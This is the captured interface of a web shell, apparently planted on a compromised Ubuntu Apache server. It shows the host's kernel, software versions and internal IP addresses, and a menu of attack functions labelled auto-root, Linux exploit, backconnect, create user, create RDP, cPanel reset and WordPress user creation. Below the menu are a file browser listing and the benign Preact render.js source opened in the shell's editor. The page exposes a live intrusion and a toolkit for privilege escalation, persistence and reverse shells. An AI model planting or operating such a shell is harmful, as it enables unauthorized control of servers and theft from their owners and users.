Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
preact /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
diff
[ DIR ]
drwxrwxr-x
cjs.js
115
B
-rw-rw-r--
clone-element.js
1.13
KB
-rw-rw-r--
component.js
7.75
KB
-rw-rw-r--
constants.js
701
B
-rw-rw-r--
create-context.js
2.15
KB
-rw-rw-r--
create-element.js
2.91
KB
-rw-rw-r--
index.d.ts
10.75
KB
-rw-rw-r--
index.js
408
B
-rw-rw-r--
internal.d.ts
6.03
KB
-rw-rw-r--
jsx.d.ts
99.48
KB
-rw-rw-r--
options.js
566
B
-rw-rw-r--
render.js
2.35
KB
-rw-rw-r--
util.js
911
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : render.js
import { EMPTY_OBJ } from './constants'; import { commitRoot, diff } from './diff/index'; import { createElement, Fragment } from './create-element'; import options from './options'; import { slice } from './util'; /** * Render a Preact virtual node into a DOM element * @param {ComponentChild} vnode The virtual node to render * @param {PreactElement} parentDom The DOM element to render into * @param {PreactElement | object} [replaceNode] Optional: Attempt to re-use an * existing DOM tree rooted at `replaceNode` */ export function render(vnode, parentDom, replaceNode) { if (options._root) options._root(vnode, parentDom); // We abuse the `replaceNode` parameter in `hydrate()` to signal if we are in // hydration mode or not by passing the `hydrate` function instead of a DOM // element.. let isHydrating = typeof replaceNode == 'function'; // To be able to support calling `render()` multiple times on the same // DOM node, we need to obtain a reference to the previous tree. We do // this by assigning a new `_children` property to DOM nodes which points // to the last rendered tree. By default this property is not present, which // means that we are mounting a new tree for the first time. let oldVNode = isHydrating ? null : (replaceNode && replaceNode._children) || parentDom._children; vnode = ((!isHydrating && replaceNode) || parentDom)._children = createElement(Fragment, null, [vnode]); // List of effects that need to be called after diffing. let commitQueue = [], refQueue = []; diff( parentDom, // Determine the new vnode tree and store it on the DOM element on // our custom `_children` property. vnode, oldVNode || EMPTY_OBJ, EMPTY_OBJ, parentDom.ownerSVGElement !== undefined, !isHydrating && replaceNode ? [replaceNode] : oldVNode ? null : parentDom.firstChild ? slice.call(parentDom.childNodes) : null, commitQueue, !isHydrating && replaceNode ? replaceNode : oldVNode ? oldVNode._dom : parentDom.firstChild, isHydrating, refQueue ); vnode._nextDom = undefined; commitRoot(commitQueue, vnode, refQueue); } /** * Update an existing DOM element with data from a Preact virtual node * @param {ComponentChild} vnode The virtual node to render * @param {PreactElement} parentDom The DOM element to update */ export function hydrate(vnode, parentDom) { render(vnode, parentDom, hydrate); }
Close